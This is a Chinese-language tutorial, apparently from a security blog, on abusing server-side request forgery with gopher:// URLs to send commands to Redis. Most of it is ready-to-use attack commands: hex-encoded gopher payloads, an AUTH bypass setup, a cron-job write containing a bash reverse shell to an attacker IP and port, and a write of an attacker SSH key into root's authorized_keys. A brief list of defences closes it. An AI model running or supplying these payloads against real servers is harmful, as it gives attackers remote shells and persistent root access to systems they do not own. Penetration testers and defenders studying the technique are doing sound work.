服务端请求伪造(SSRF)之Redis篇
字数 1190 2025-08-15 21:31:23
SSRF攻击Redis服务利用指南
1. SSRF与Gopher协议基础
1.1 SSRF简介
服务端请求伪造(SSRF)是指当服务器需要请求资源时,请求的资源、协议、路径等可被用户控制,从而造成的安全漏洞。
1.2 Gopher协议
Gopher协议格式:
gopher://<host>:<port>//<gopher-path>_后接TCP数据流
特点:
- 可用于发送任意TCP数据流
- 是SSRF攻击Redis的理想协议
- 使用curl命令进行测试:
curl -v 'gopher://127.0.0.1:6379/_payload'
2. Redis环境搭建
2.1 安装Redis
wget http://download.redis.io/releases/redis-4.0.6.tar.gz
yum install gcc
tar -xzvf redis-4.0.6.tar.gz
cd redis-4.0.6
make MALLOC=libc
cd src
make install
2.2 Redis关键文件
redis-server- 服务端程序redis-cli- 客户端程序redis.conf- 配置文件
2.3 启动Redis
./redis-server ../redis.conf
3. 攻击无密码Redis
3.1 抓取Redis通信流量
tcpdump -i lo -s 0 port 6379 -w redis.pcap
3.2 分析Redis协议
- 使用Wireshark打开抓包文件
- 追踪TCP流
- 选择"Hex转储"查看十六进制格式
- 提取关键payload部分
3.3 构造Gopher攻击
示例SET命令攻击:
curl -v 'gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%6b%65%79%31%0d%0a%24%36%0d%0a%76%61%6c%75%65%31%0d%0a'
4. 攻击有密码Redis
4.1 配置Redis密码
修改redis.conf:
requirepass yourpassword
4.2 构造认证payload
在原有payload前添加AUTH命令:
AUTH yourpassword\r\n
[原有命令]
5. 通过Redis GetShell
5.1 通过定时任务反弹Shell
5.1.1 Linux定时任务基础
- 配置文件:
/etc/crontab - 用户任务目录:
/var/spool/cron/ - 格式:
* * * * * user command
5.1.2 反弹Shell命令
/bin/bash -i >& /dev/tcp/攻击机IP/端口 0>&1
5.1.3 Redis写入定时任务
config set dir /var/spool/cron
config set dbfilename root
set test1 "\n\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.1.105/8888 0>&1\n\n\n"
save
注意事项:
- Redis需要以root权限运行
- 定时任务文件不需要写用户名
- 确保换行符正确
5.2 通过SSH免密登录GetShell
5.2.1 配置SSH免密登录
- 修改SSH配置:
StrictModes no - 重启sshd服务
5.2.2 生成SSH密钥
ssh-keygen -t rsa
5.2.3 Redis写入authorized_keys
config set dir /root/.ssh
config set dbfilename authorized_keys
set test2 "\n\n\nssh-rsa [公钥内容]\n\n\n"
save
条件:
- Redis以root权限运行
- 或者有对应SSH用户的写权限
6. 防御措施
- 限制Redis绑定IP
- 设置强密码
- 不以root运行Redis
- 禁用危险命令(FLUSHALL, CONFIG等)
- 网络层隔离Redis服务
- 过滤SSRF漏洞点中的gopher协议
7. 总结
通过SSRF利用Gopher协议攻击Redis的主要步骤:
- 识别存在SSRF漏洞的点
- 确定Redis服务位置
- 构造Redis协议格式的payload
- 通过Gopher协议发送payload
- 实现文件写入或命令执行
两种主要GetShell方式:
- 写入定时任务实现反弹Shell
- 写入SSH公钥实现免密登录
关键点:
- Redis协议格式转换
- 文件写入路径选择
- 权限要求(root权限效果最佳)
- 协议构造的准确性